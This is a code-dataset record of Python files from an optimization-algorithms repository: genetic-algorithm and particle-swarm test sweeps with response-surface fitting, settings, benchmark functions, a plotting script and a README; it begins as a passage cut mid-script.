= '../data/ga/rosenbrock/'\n\ndef run():\n # fail if .tmp directory already exists\n if os.path.isdir(dest_tmp):\n print(\"The directory %s already exists. Exitting ...\" % dest_tmp)\n sys.exit()\n os.makedirs(dest_tmp)\n\n # make destination dirs if they don't exist\n if not os.path.isdir(ackley_dest):\n os.makedirs(ackley_dest)\n if not os.path.isdir(easom_dest):\n os.makedirs(easom_dest)\n if not os.path.isdir(griewank_dest):\n os.makedirs(griewank_dest)\n if not os.path.isdir(rosenbrock_dest):\n os.makedirs(rosenbrock_dest)\n\n # get files from host\n try:\n subprocess.check_call([scp, '-P', port, \\\n host + ':' + source + file_ext, dest_tmp])\n except:\n print(\"--- 'scp' failed. Maybe no files that matched? ---\")\n raise\n\n # sort through and move to their respective dirs\n for file in os.listdir(dest_tmp):\n f_dest = None\n if 'ackley' in file:\n f_dest = ackley_dest\n if 'easom' in file:\n f_dest = easom_dest\n if 'griewank' in file:\n f_dest = griewank_dest\n if 'rosenbrock' in file:\n f_dest = rosenbrock_dest\n try:\n subprocess.check_call([mv, dest_tmp + '/' + file, f_dest])\n except:\n print(\"--- 'mv' failed. Check dest directory ---\")\n raise\n\ndef cleanup():\n if os.path.isdir(dest_tmp):\n shutil.rmtree(dest_tmp, ignore_errors=True)\n\ntry:\n run()\nexcept Exception:\n import traceback\n\n exc_type, exc_value, exc_traceback = sys.exc_info()\n traceback.print_tb(exc_traceback, limit=1, file=sys.stdout)\n print(\"*** print_exception:\")\n traceback.print_exception(exc_type, exc_value, exc_traceback, \\\n limit=2, file=sys.stdout)\n cleanup()\n" }, { "alpha_fraction": 0.4715512990951538, "alphanum_fraction": 0.5043436884880066, "avg_line_length": 32.35987091064453, "blob_id": "13038334ed68e26e675aa91e950df57d01394460", "content_id": "e1dd06c2f51e9faa141543cf0444db0c8bb3df74", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 20950, "license_type": "permissive", "max_line_length": 104, "num_lines": 628, "path": "/tests/oa_tests.py", "repo_name": "jkleve/Optimization-Algoirthms", "src_encoding": "UTF-8", "text": "import matplotlib.pyplot as plt\nfrom mpl_toolkits.mplot3d import Axes3D\nfrom matplotlib import cm\nimport numpy as np\nfrom multiprocessing import Process\nfrom scipy.optimize import minimize\n\nimport subprocess\nimport time\nimport sys\nsys.path.append('../genetic_algorithm')\nsys.path.append('../particle_swarm_optimization')\nsys.path.append('../functions')\nsys.path.append('../utils')\n\nfrom oa_utils import optimize_settings, write_xy_data, read_xy_data\nfrom test_helpers import gen_filename\nimport regression_utils\n\nfrom genetic_algorithm import GA\nimport ga_settings\nimport ga_ackley_settings\nfrom particle_swarm_optimization import PSO\nimport pso_settings\nimport ackley_function\nimport easom_function\nimport rosenbrock_function\nimport griewank_function\n\nimport ga_tests\n\nNAME = 0\nSTART = 1\nSTEP = 2\nEND = 3\n\ndef num_parts_vs_time(o_algorithm, num_parts):\n tests = {}\n\n for test in num_parts:\n settings['population_size'] = test\n\n algorithm = o_algorithm(settings, objective_function)\n\n algorithm.start_timer()\n algorithm.run()\n algorithm.stop_timer()\n\n x = algorithm.get_best_x()\n\n print(\"%5d: %7.3f\" % (test, algorithm.get_time()))\n\n tests[test] = {'time': algorithm.get_time(), 'accuracy': abs(x.get_fitness())}\n\n return tests\n\ndef func_val_vs_iterations(o_algorithm, settings, objective_function, num_parts):\n fig, ax = plt.subplots(nrows=1, ncols=1)\n\n for test in num_parts:\n f = []\n\n settings['population_size'] = test\n\n algorithm = o_algorithm(settings, objective_function)\n\n while settings['num_iterations'] > algorithm.num_generations:\n f.append(algorithm.get_best_f())\n algorithm.do_loop()\n\n ax.plot(range(1,len(f)+1), f)\n\n plt.title('Number of particles vs iterations')\n plt.xlabel('Number of Iterations')\n plt.ylabel('Objective Function Value')\n plt.legend(num_parts)\n fig_name = 'func_value_vs_iterations'\n fig.savefig(fig_name + '.png')\n plt.close(fig)\n\ndef get_pso_two_d_accuracy(o_algorithm, o_settings, o_function, \\\n x1_start, x1_step, x1_end, \\\n x2_start, x2_step, x2_end, \\\n x1_name, x2_name, \\\n population_size=50, num_tests_per_point=10, plot=True, \\\n save_histograms=True, response_surface=True, debug=False):\n if response_surface:\n plot = True\n\n # turn off settings that slow us down\n o_settings = optimize_settings(o_settings)\n\n func_name = o_function.func_globals['__name__']\n tests = {}\n hist_num_bins = 150\n\n o_settings['population_size'] = population_size\n num_tests_per = num_tests_per_point\n x1_srt = x1_start\n x1_e = x1_end\n x1_stp = x1_step\n x2_srt = x2_start\n x2_e = x2_end\n x2_stp = x2_step\n num_tests = int(( (int(100*x1_e)-int(100*x1_srt))/int(100*x1_stp) + 1 )* \\\n ( (int(100*x2_e)-int(100*x2_srt))/int(100*x2_stp) + 1 ))\n X = np.ones(shape=(num_tests,6))\n y = np.zeros(shape=(num_tests,1))\n\n n = 0\n\n if plot:\n fig = plt.figure()\n ax1 = fig.add_subplot(111, projection='3d')\n if o_function != griewank_function.objective_function:\n ax1.set_zlim(0, 1)\n\n for i in np.arange(x1_srt, x1_e+x1_stp, x1_stp):\n for j in np.arange(x2_srt, x2_e+x2_stp, x2_stp):\n # set settings for this test\n o_settings[x1_name] = i\n o_settings[x2_name] = j\n\n # initial variables\n values = []\n euclid_distance = []\n test_name = 'cp' + '(' + str(o_settings['cp']) + ')' + ',' + \\\n 'cg' + '(' + str(o_settings['cg']) + ')'\n\n print(\"Running test %s on %s\" % (test_name, func_name))\n\n # create histogram plot if true\n if save_histograms:\n hist_fig = plt.figure()\n hist_ax = hist_fig.add_subplot(111)\n\n # run optimization algorithm\n for k in range(0,num_tests_per):\n algorithm = o_algorithm(o_settings, o_function)\n algorithm.run()\n # save enf values\n values.append(algorithm.get_best_x().get_fval())\n # euclidean distance\n squares = 0\n for pos in algorithm.get_best_x().pos:\n if o_function == rosenbrock_function.objective_function:\n squares += (pos - 1)**2\n elif o_function == easom_function.objective_function:\n squares += (pos - np.pi)**2\n else:\n squares += pos**2\n euclid_distance.append(np.sqrt(squares))\n\n # save histogram if true\n if save_histograms:\n hist_ax.hist(euclid_distance, hist_num_bins, range=(0, 9), normed=True)\n hist_fig.savefig(test_name + '.png')\n plt.close(hist_fig)\n\n # find average and save data\n #avg = sum(values)/len(values)\n #avg = median(values)\n #avg = sum(euclid_distance)/len(euclid_distance)\n avg = np.median(euclid_distance)\n tests[test_name] = avg\n if plot:\n ax1.scatter(i,j,avg)\n\n X[n][1] = i\n X[n][2] = j\n X[n][3] = i*i\n X[n][4] = i*j\n X[n][5] = j*j\n y[n] = avg\n\n # increment test number\n n += 1\n\n# fname = gen_filename(x1_name, x2_name, func_name)\n# write_xy_data(X, y, fname)\n\n if debug:\n print(\"\\n*** DATA ***\")\n print(\"X\")\n print(X)\n print(\"\\ny\")\n print(y)\n print(\"\\ntests\")\n print(tests)\n\n if response_surface:\n # get regression coefficients\n b = regression_utils.get_regression_coef(X, y)\n\n pltx = np.arange(x1_start, x1_end+x1_step, x1_step)\n plty = np.arange(x2_start, x2_end+x2_step, x2_step)\n pltX, pltY = np.meshgrid(pltx, plty)\n F = b[0] + b[1]*pltX + b[2]*pltY + b[3]*pltX*pltX + b[4]*pltX*pltY + b[5]*pltY*pltY\n ax1.plot_wireframe(pltX, pltY, F)\n\n if plot:\n print(\"\\nPlotting ...\")\n x1_name = x1_name[0].upper() + x1_name[1:]\n x2_name = x2_name[0].upper() + x2_name[1:]\n ax1.set_xlabel(x1_name)\n ax1.set_ylabel(x2_name)\n ax1.set_zlabel('Average Euclidean Distance from Global Minimum')\n plt.show()\n\n return (X, y)\n\n# saves all test data to file\n# x1_name: name of setting in settings file\n# x2_name: name of setting in settings file\ndef get_two_d_accuracy(o_algorithm, o_settings, o_function, \\\n x1_start, x1_step, x1_end, \\\n x2_start, x2_step, x2_end, \\\n x1_name, x2_name, \\\n population_size=50, num_tests_per_point=10, plot=True, \\\n save_histograms=True, response_surface=True, debug=False):\n #if response_surface:\n # plot = True\n\n # turn off settings that slow us down\n o_settings = optimize_settings(o_settings)\n\n func_name = o_function.func_globals['__name__']\n tests = {}\n hist_num_bins = 150\n\n o_settings['population_size'] = population_size\n num_tests_per = num_tests_per_point\n x1_srt = x1_start\n x1_e = x1_end\n x1_stp = x1_step\n x2_srt = x2_start\n x2_e = x2_end\n x2_stp = x2_step\n num_tests = int(( (int(100*x1_e)-int(100*x1_srt))/int(100*x1_stp) + 1 )* \\\n ( (int(100*x2_e)-int(100*x2_srt))/int(100*x2_stp) + 1 ))\n X = np.ones(shape=(num_tests,6))\n y = np.zeros(shape=(num_tests,1))\n\n n = 0\n\n if plot:\n fig = plt.figure()\n ax1 = fig.add_subplot(111, projection='3d')\n if o_function != griewank_function.objective_function:\n ax1.set_zlim(0, 1)\n\n for i in np.arange(x1_srt, x1_e+x1_stp, x1_stp):\n for j in np.arange(x2_srt, x2_e+x2_stp, x2_stp):\n # set settings for this test\n o_settings[x1_name] = i\n o_settings[x2_name] = j\n\n # initial variables\n values = []\n euclid_distance = []\n test_name = 'selection_cutoff' + '(' + str(o_settings['selection_cutoff']) + ')' + ',' + \\\n 'mutation_rate' + '(' + str(o_settings['mutation_rate']) + ')' + ',' + \\\n 'max_mutation_amount' + '(' + str(o_settings['max_mutation_amount']) + ')'\n\n print(\"Running test %s on %s\" % (test_name, func_name))\n\n # create histogram plot if true\n if save_histograms:\n hist_fig = plt.figure()\n hist_ax = hist_fig.add_subplot(111)\n\n # run optimization algorithm\n for k in range(0,num_tests_per):\n algorithm = o_algorithm(o_settings, o_function)\n algorithm.run()\n # save enf values\n values.append(algorithm.get_best_x().get_fval())\n # euclidean distance\n squares = 0\n for pos in algorithm.get_best_x().pos:\n if o_function == rosenbrock_function.objective_function:\n squares += (pos - 1)**2\n elif o_function == easom_function.objective_function:\n squares += (pos - np.pi)**2\n else:\n squares += pos**2\n euclid_distance.append(np.sqrt(squares))\n\n # save histogram if true\n if save_histograms:\n hist_ax.hist(euclid_distance, hist_num_bins, range=(0, 9), normed=True)\n hist_fig.savefig(test_name + '.png')\n plt.close(hist_fig)\n\n # find average and save data\n #avg = sum(values)/len(values)\n #avg = median(values)\n #avg = sum(euclid_distance)/len(euclid_distance)\n avg = np.median(euclid_distance)\n tests[test_name] = avg\n if plot:\n ax1.scatter(i,j,avg)\n\n X[n][1] = i\n X[n][2] = j\n X[n][3] = i*i\n X[n][4] = i*j\n X[n][5] = j*j\n y[n] = avg\n\n # increment test number\n n += 1\n\n# fname = gen_filename(x1_name, x2_name, func_name)\n# write_xy_data(X, y, fname)\n\n if debug:\n print(\"\\n*** DATA ***\")\n print(\"X\")\n print(X)\n print(\"\\ny\")\n print(y)\n print(\"\\ntests\")\n print(tests)\n\n if response_surface:\n # get regression coefficients\n b = regression_utils.get_regression_coef(X, y)\n\n pltx = np.arange(x1_start, x1_end+x1_step, x1_step)\n plty = np.arange(x2_start, x2_end+x2_step, x2_step)\n pltX, pltY = np.meshgrid(pltx, plty)\n F = b[0] + b[1]*pltX + b[2]*pltY + b[3]*pltX*pltX + b[4]*pltX*pltY + b[5]*pltY*pltY\n ax1.plot_wireframe(pltX, pltY, F)\n\n if plot:\n print(\"\\nPlotting ...\")\n x1_name = x1_name[0].upper() + x1_name[1:]\n x2_name = x2_name[0].upper() + x2_name[1:]\n ax1.set_xlabel(x1_name)\n ax1.set_ylabel(x2_name)\n ax1.set_zlabel('Average Euclidean Distance from Global Minimum')\n plt.show()\n\n return (X, y)\n\ndef ga_data_points(o_algorithm, settings, o_function):\n start_time = time.time()\n\n func_name = o_function.func_globals['__name__']\n tests = ga_tests.tests\n\n x1_start = 0.1\n x1_step = 0.1\n x1_end = 1.0\n x2_start = 0.1\n x2_step = 0.1\n x2_end = 1.0\n\n\n for k in np.arange(0.1, 1.0, 0.1):\n for t in tests.items():\n settings['selection_cutoff'] = k\n\n names = t[1]\n x1_name = names['x1']\n x2_name = names['x2']\n x1_name = 'mutation_rate'\n x2_name = 'max_mutation_amount'\n\n try:\n X, y =get_two_d_accuracy(o_algorithm, settings, o_function, \\\n x1_start, x1_step, x1_end, \\\n x2_start, x2_step, x2_end, \\\n x1_name, x2_name, \\\n population_size=20, num_tests_per_point=100, plot=False, \\\n save_histograms=False, response_surface=False \\\n )\n fname = 'rate_vs_mma_(sc_%.2f)_%s.dat' % \\\n (k, func_name)\n write_xy_data(X, y, fname)\n\n except Exception:\n import traceback\n print(\"Error ??? :(\")\n\n exc_type, exc_value, exc_traceback = sys.exc_info()\n traceback.print_tb(exc_traceback, limit=1, file=sys.stdout)\n print(\"*** print_exception:\")\n traceback.print_exception(exc_type, exc_value, exc_traceback, \\\n limit=2, file=sys.stdout)\n\n\n\n output_str = \" === %s took %d seconds === \" % (o_function.func_globals['__name__'], \\\n time.time() - start_time)\n subprocess.call(['text', output_str])\n print(output_str)\n\ndef objective_3d_function(x):\n b = [ 3.44203965, 0.67407314, -2.50195918, -2.4948652, -1.51992894, \\\n 0.64943886, 0.36614819, 1.05027015, 0.76315575, 1.22643218 ]\n return b[0] + \\\n b[1]*x[0] + \\\n b[2]*x[1] + \\\n b[3]*x[2] + \\\n b[4]*x[0]*x[0] + \\\n b[5]*x[0]*x[1] + \\\n b[6]*x[0]*x[2] + \\\n b[7]*x[1]*x[1] + \\\n b[8]*x[1]*x[2] + \\\n b[9]*x[2]*x[2]\n\ndef optimize_3d(X, y, x1_step, x2_step, x3_step):\n x1_start = min(X[:,1])\n x1_end = max(X[:,1])\n x2_start = min(X[:,2])\n x2_end = max(X[:,2])\n x3_start = min(X[:,3])\n x3_end = max(X[:,3])\n\n # get regression coefficients\n b = regression_utils.get_regression_coef(X, y)\n\n opt = {'disp': False}\n sol = minimize(objective_3d_function, [0.5, 0.5, 0.5], method='SLSQP', \\\n bounds=((0,1), (0,1), (0,1)), options = opt)\n\n return sol\n\ndef get_3d_accuracy(o_algorithm, o_settings, o_function, \\\n x1_info, x2_info, x3_info, \\\n population_size=50, num_tests_per_point=10, \\\n save_histograms=True, debug=False):\n # turn off settings that slow us down\n o_settings = optimize_settings(o_settings)\n\n func_name = o_function.func_globals['__name__']\n tests = {}\n hist_num_bins = 150\n\n o_settings['population_size'] = population_size\n num_tests_per = num_tests_per_point\n\n x1_name = x1_info[NAME]\n x2_name = x2_info[NAME]\n x3_name = x3_info[NAME]\n x1_s = x1_info[START]\n x1_e = x1_info[END]\n x1_stp = x1_info[STEP]\n x2_s = x2_info[START]\n x2_e = x2_info[END]\n x2_stp = x2_info[STEP]\n x3_s = x3_info[START]\n x3_e = x3_info[END]\n x3_stp = x3_info[STEP]\n\n num_tests = int(( (int(100*x1_e)-int(100*x1_s))/int(100*x1_stp) + 1 )* \\\n ( (int(100*x2_e)-int(100*x2_s))/int(100*x2_stp) + 1 )* \\\n ( (int(100*x3_e)-int(100*x3_s))/int(100*x3_stp) + 1 ) )\n X = np.ones(shape=(num_tests,10))\n y = np.zeros(shape=(num_tests,1))\n\n n = 0\n\n for i in np.arange(x1_s, x1_e+x1_stp, x1_stp):\n for j in np.arange(x2_s, x2_e+x2_stp, x2_stp):\n for k in np.arange(x3_s, x3_e+x3_stp, x3_stp):\n # set settings for this test\n o_settings[x1_name] = i\n o_settings[x2_name] = j\n o_settings[x3_name] = k\n\n # initial variables\n values = []\n euclid_distance = []\n test_name = x1_name + '(' + str(i) + ')' + ',' + \\\n x2_name + '(' + str(j) + ')' + ',' + \\\n x3_name + '(' + str(k) + ')'\n\n print(\"Running test %s\" % test_name)\n\n # create histogram plot if true\n if save_histograms:\n hist_fig = plt.figure()\n hist_ax = hist_fig.add_subplot(111)\n\n # run optimization algorithm\n for t in range(0,num_tests_per):\n algorithm = o_algorithm(o_settings, o_function)\n algorithm.run()\n # save enf values\n values.append(algorithm.get_best_x().get_fval())\n # euclidean distance\n squares = 0\n for pos in algorithm.get_best_x().pos:\n if o_function == rosenbrock_function.objective_function:\n squares += (pos - 1)**2\n elif o_function == easom_function.objective_function:\n squares += (pos - np.pi)**2\n else:\n squares += pos**2\n euclid_distance.append(np.sqrt(squares))\n\n # save histogram if true\n if save_histograms:\n hist_ax.hist(values, hist_num_bins, range=(0, 1.5), normed=True)\n hist_fig.savefig(test_name + '.png')\n plt.close(hist_fig)\n\n # find average and save data\n #avg = sum(values)/len(values)\n #avg = median(values)\n #avg = sum(euclid_distance)/len(euclid_distance)\n avg = np.median(euclid_distance)\n tests[test_name] = avg\n\n X[n][1] = i\n X[n][2] = j\n X[n][3] = k\n X[n][4] = i*i\n X[n][5] = i*j\n X[n][6] = i*k\n X[n][7] = j*j\n X[n][8] = j*k\n X[n][9] = k*k\n y[n] = avg\n\n # increment test number\n n += 1\n\n fname = gen_filename(x1_name, x2_name, func_name)\n write_xy_data(X, y, 'ga_3d_data.dat')\n\n if debug:\n print(\"\\n*** DATA ***\")\n print(\"X\")\n print(X)\n print(\"\\ny\")\n print(y)\n print(\"\\ntests\")\n print(tests)\n\n return (X, y)\n\n\ndef ga_3d_data_points(o_algorithm, settings, o_function):\n start_time = time.time()\n\n tests = ga_tests.tests\n\n x1_start = 0.1\n x1_step = 0.1\n x1_end = 1.0\n x2_start = 0.1\n x2_step = 0.1\n x2_end = 1.0\n x3_start = 0.1\n x3_step = 0.1\n x3_end = 1.0\n\n x1_name = 'selection_cutoff'\n x2_name = 'mutation_rate'\n x3_name = 'max_mutation_amount'\n\n x1_info = [x1_name, x1_start, x1_step, x1_end]\n x2_info = [x2_name, x2_start, x2_step, x2_end]\n x3_info = [x3_name, x3_start, x3_step, x3_end]\n\n X, y = get_3d_accuracy(o_algorithm, settings, o_function, \\\n x1_info, x2_info, x3_info, \\\n population_size=20, num_tests_per_point=10, \\\n save_histograms=False, debug=False \\\n )\n\n\n X, y = read_xy_data('ga_3d_data.dat')\n sol = optimize_3d(X, y, x1_step, x2_step, x3_step)\n print(sol)\n\n print(\" === %s took %d seconds === \" % (o_function.func_globals['__name__'], \\\n time.time() - start_time))\n\ndef pso_data_points(o_algorithm, settings, o_function):\n x1_start = 0.0\n x1_step = 0.2\n x1_end = 1.0\n x2_start = 0.0\n x2_step = 0.2\n x2_end = 1.0\n x1_name = \"cp\"\n x2_name = \"cg\"\n\n return get_pso_two_d_accuracy(o_algorithm, settings, o_function, \\\n x1_start, x1_step, x1_end, \\\n x2_start, x2_step, x2_end, \\\n x1_name, x2_name, \\\n population_size=50, num_tests_per_point=10, plot=True, \\\n save_histograms=False, response_surface=True \\\n )\n\nif __name__ == \"__main__\":\n\n #num_particles = [50, 100, 500]# + range(1000, 10000, 1000)\n #tests = num_parts_vs_time(GA, ga_settings, num_particles)\n\n #func_val_vs_iterations(GA, ga_settings.settings, ackley_function.objective_function, num_particles)\n\n pso_data_points(PSO, pso_settings.settings, rosenbrock_function.objective_function)\n #ga_data_points(GA, ga_settings.settings, easom_function.objective_function)\n #sys.exit()\n\n# # ackley\n# Process( target = ga_data_points, \\\n# args = (GA, ga_ackley_settings.settings, ackley_function.objective_function) \\\n# ).start()\n# # easom\n# Process( target = ga_data_points, \\\n# args = (GA, ga_settings.settings, easom_function.objective_function) \\\n# ).start()\n# # griewank\n# Process( target = ga_data_points, \\\n# args = (GA, ga_settings.settings, griewank_function.objective_function) \\\n# ).start()\n# # rosenbrock\n# Process( target = ga_data_points, \\\n# args = (GA, ga_settings.settings, rosenbrock_function.objective_function) \\\n# ).start()\n" }, { "alpha_fraction": 0.6245551705360413, "alphanum_fraction": 0.6450178027153015, "avg_line_length": 47.869564056396484, "blob_id": "c60cc2de1f7e8caed0c9a598f98b5d2e492815f4", "content_id": "37ce7f3335f91a9abf7856ac667ced20602860fe", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1124, "license_type": "permissive", "max_line_length": 134, "num_lines": 23, "path": "/particle_swarm_optimization/pso_rosenbrock_settings.py", "repo_name": "jkleve/Optimization-Algoirthms", "src_encoding": "UTF-8", "text": "settings = {\n 'population_size': 50, # number of organisms\n 'number_of_dimensions': 2, # I don't think we can do any dimensions greater than 2\n 'bounds': [ # this must have 1 pair per dimension\n (-1,1.5),\n (-1,2)\n ],\n 'num_iterations': 100,\n 'time_delay': 0.0,\n ##### Leave these between 0 and 4 #####\n 'cp': 0.8, # Weight that has the particles tend to go to local known minimum\n 'cg': 0.6, # Weight that has the particles tend to go to global minimum\n 'weight': 0.5, # this is only used when velocity_type is inertia... haven't really seen much change though when altering this\n 'velocity_type': 'inertia', # normal, inertia, or constriction\n 'step_through': False, # whether it should pause after each iteration\n 'plot': True, # whether we should plot each iteration\n 'print_actions': False, # whether we should print when a method does an action\n 'print_iterations': False, # whether we should print after each iteration\n 'time': False, # whether we should output timing information\n\n 'cg_plus': False,\n 'time_as_float': True\n}\n" }, { "alpha_fraction": 0.6814268231391907, "alphanum_fraction": 0.6834768056869507, "avg_line_length": 54.431819915771484, "blob_id": "bfa3aa1fec99e076976fcfc3c38743e2e43d7e0e", "content_id": "4e19b5a5e72e086596f15f576d4ac9dd54e61b64", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 2439, "license_type": "permissive", "max_line_length": 187, "num_lines": 44, "path": "/README.md", "repo_name": "jkleve/Optimization-Algoirthms", "src_encoding": "UTF-8", "text": "# Optimization-Algorithms\n\n### Linux commands for noobs\n* pwd - shows you what directory you are in (working directory)\n* ls or ll - shows you files in the current directory\n* cd <directory> - changes to that directory (.. is the parent directory)\n* python <file> - run the python file\n\n\n### Genetic Algorithm\nTo run, change directories with `cd genetic_algorithm` then run the program with `python genetic_algorithm.py`\n\n| File | Explanation |\n| ------------------------ | ----------- |\n| ga_objective_function.py | Contains the function being minimized for the algorithm |\n| ga_settings.py | Includes settings that will be used when running the algorithm |\n| genetic_algorithm.py | Algorithm to run: `python genetic_algorithm.py` |\n\n| Setting | What it does |\n| -------------------- | ------------ |\n| population_size | # of organism to have each iteration |\n| number_of_dimensions | # number of dimensions there are in the design space |\n| bounds | Bounds on the design variables. You must have a list of 2 numbers for each dimension |\n| selection_cutoff | A cutoff value that determines which organisms to kill off before crossover |\n| mutation_rate | How often to cause a mutation of a child |\n| max_mutation_amount | The largest percentage of a dimension allowed to mutate. 1.0 would mean a mutation could jump the child from one side of the bounded space to the other side. |\n| num_generations | # of generations to create before exiting |\n| time_delay | Time delay between each iteration |\n| step_through | True or False on whether we should pause after each iteration |\n| plot | True or False on whether we should plot each iteration/generation. Can only plot when number_of_dimensions is set to 2 |\n| print_actions | True or False on whether we should print when a method does an action |\n| print_iterations | True or False on whether we should print after each iteration\n| time | True of False on whether we should time the algorithm. Having a time_delay set or step_through, plot, print_actions, or print_iterations True will affect timing |\n\n### Particle Swarm\n\n### Ant Colony\n\n### Dijkstra's Algorithm\n\nUnder construction...\n\n### Utils\n* To plot data in 2 dimensions, use the PlotUtils class in utils/plot_utils.py. You can find an example of how to use it in examples/example_plot.py\n" }, { "alpha_fraction": 0.49082568287849426, "alphanum_fraction": 0.5963302850723267, "avg_line_length": 26.25, "blob_id": "3d3e5b7991b2c76f9d3076e36193447cd1d421e5", "content_id": "0725011f8a03e6aff9bf9f2e57b4ee439fb9231f", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 218, "license_type": "permissive", "max_line_length": 89, "num_lines": 8, "path": "/functions/griewank_function.py", "repo_name": "jkleve/Optimization-Algoirthms", "src_encoding": "UTF-8", "text": "#from math import sqrt, cos\nfrom numpy import sqrt, cos\n\ndef objective_function(params):\n x1 = params[0]\n x2 = params[1]\n\n return ( 1.0 + 1.0/4000.0*(x1**2 + x2**2) - ( cos(x1/sqrt(1.0))*cos(x2/sqrt(2.0)) ) )\n" }, { "alpha_fraction": 0.6418848037719727, "alphanum_fraction": 0.6879581212997437, "avg_line_length": 27.08823585510254, "blob_id": "f94a9ae9af529f51fd433130d745578a9d4b569f", "content_id": "5f2bb677b4219089338e6604da38579931e75d07", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 955, "license_type": "permissive", "max_line_length": 66, "num_lines": 34, "path": "/test/test_function.py", "repo_name": "jkleve/Optimization-Algoirthms", "src_encoding": "UTF-8", "text": "from mpl_toolkits.mplot3d import Axes3D\nfrom matplotlib import cm\nfrom matplotlib.ticker import LinearLocator, FormatStrFormatter\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport sys\nsys.path.append('../functions')\n\nfrom easom_function import objective_function\n\nfig = plt.figure()\nax = fig.gca(projection='3d')\nX = np.arange(-10, 10, .1)\nY = np.arange(-10, 10, .1)\n#X = np.arange(-1.5, 1.5, .05)\n#Y = np.arange(-0.5, 2, .05)\nX, Y = np.meshgrid(X, Y)\nparams = [X, Y]\nZ = objective_function(params)\nsurf = ax.plot_surface(X, Y, Z, rstride=1, cstride=1, cmap=cm.jet,\n linewidth=0, antialiased=False)\nax.contour(X, Y, Z, zdir='z', offset=-1, cmap=cm.jet)\n#ax.set_zlim(0, 1000)\n\n#ax.zaxis.set_major_locator(LinearLocator(10))\n#ax.zaxis.set_major_formatter(FormatStrFormatter('%.02f'))\n\nfig.colorbar(surf, shrink=0.5, aspect=5)\n\nplt.title(\"Easom Function\")\nplt.xlabel(\"x1\")\nplt.ylabel(\"x2\")\nax.set_zlabel(\"F(x1, x2)\")\nplt.show()\n" } ]
29
KevSan/PersonalPCStartup
https://github.com/KevSan/PersonalPCStartup
e6788f0fcb703c1b0a2c478111430b566e13de33
42e5d936521dd0c11bc94f8f8ea10995403bac5d
5368a212b49f91ff435b60026652cf71d664973f
refs/heads/master
2022-06-06T10:38:31.528317
2020-05-03T02:18:52
2020-05-03T02:18:52
257,775,789
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.7738927602767944, "alphanum_fraction": 0.7808857560157776, "avg_line_length": 32, "blob_id": "b692eb39f21086902cb216d916d05990d7e8c8ab", "content_id": "97c781584a309e1764a3f4ea9cb855a1c6c3fadb", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 429, "license_type": "no_license", "max_line_length": 107, "num_lines": 13, "path": "/README.md", "repo_name": "KevSan/PersonalPCStartup", "src_encoding": "UTF-8", "text": "1) Pip install selenium\n2) Install web driver that's needed, geckodriver for firefox, chromedriver for chrome, etc.\nNote that the driver needs to be located in the path of the script, otherwise you'll receive an error.\n\n\nWebsites:\na) Gmail\nb) Google Play Music\nc) Youtube \nd) C1 \n\nTrying to connect to gmail doesn't work because Google's security feature prevents it. Will try controlling\na pre existing window and firefox next. " }, { "alpha_fraction": 0.6756756901741028, "alphanum_fraction": 0.6783784031867981, "avg_line_length": 29.83333396911621, "blob_id": "587c8f48730173904ef7ed7f321d1ac1341ec092", "content_id": "f72533ea70ba002bd75003935d910818db0dd6d6", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1110, "license_type": "no_license", "max_line_length": 73, "num_lines": 36, "path": "/cred_retrieval.py", "repo_name": "KevSan/PersonalPCStartup", "src_encoding": "UTF-8", "text": "from cryptography.fernet import Fernet\nimport os\nimport ast\n\n\n# TODO include proper commenting to code base\ndef retrieve_username_and_password(env_var, secrets, source):\n key = get_key(env_var, source)\n cred_bytes = get_credentials(secrets)\n cred_dict_str = cred_bytes.decode(\"UTF-8\")\n cred_dict = ast.literal_eval(cred_dict_str)\n user_name = decrypt_credentials(key, cred_dict[source + '_username'])\n password = decrypt_credentials(key, cred_dict[source + '_pwd'])\n return user_name, password\n\n\ndef get_key(env_var, source):\n path = os.getenv(env_var) + source + '_key'\n with open(path, 'r') as f:\n for line in f:\n key = line\n return key\n\n\ndef get_credentials(secrets):\n with open(secrets, 'rb') as file_object:\n for line in file_object:\n credentials_dict = line\n return credentials_dict\n\n\ndef decrypt_credentials(key_str, ciphered_credential):\n key_byte = bytes(key_str, 'utf-8')\n cipher_suit = Fernet(key_byte)\n deciphered_credential = cipher_suit.decrypt(ciphered_credential)\n return deciphered_credential.decode('utf-8')\n" }, { "alpha_fraction": 0.7530402541160583, "alphanum_fraction": 0.758652925491333, "avg_line_length": 30.441177368164062, "blob_id": "2e29b6ada67cc0fc5d3d77e03d7fe2ccb94527d5", "content_id": "53d2f916ed9dae30f2348331ba8ac4ce298628cc", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1069, "license_type": "no_license", "max_line_length": 106, "num_lines": 34, "path": "/main.py", "repo_name": "KevSan/PersonalPCStartup", "src_encoding": "UTF-8", "text": "from selenium import webdriver\nfrom selenium.webdriver.common.keys import Keys\nimport time\nimport cred_retrieval\n\nuser_name, password = cred_retrieval.retrieve_username_and_password('keys_path', 'keys.secrets', 'google')\n\nchrome_options = webdriver.ChromeOptions()\nchrome_options.add_experimental_option(\"useAutomationExtension\", False)\nchrome_options.add_experimental_option(\"excludeSwitches\", ['enable-automation'])\ndriver = webdriver.Chrome(options=chrome_options)\ndriver.get(\"https://www.google.com/\")\n\ntime.sleep(5)\n\ndriver.find_element_by_id(\"gb_70\").click()\n\ntime.sleep(5)\n\nuser_name_field = driver.find_element_by_xpath('//*[@id=\"identifierId\"]')\nuser_name_field.send_keys(user_name)\n\ntime.sleep(2)\n\ndriver.find_element_by_id('identifierNext').click()\n\npassword_field = driver.find_element_by_id('')\npassword_field.send_keys(password)\n\n# TODO create this to be a class that gets reused by each site\ntime.sleep(5)\ndriver.find_element_by_id('noAcctSubmit').send_keys(\"\\n\")\n# opens a new tab\n#driver.execute_script(\"window.open('https://www.capitalone.com/');\")\n" } ]
3
timm/therepy
https://github.com/timm/therepy
f60560dac265b900fcb77ece34a51c14a268f6c8
1510db370c056860fc35da92d1cd226456cde5e9
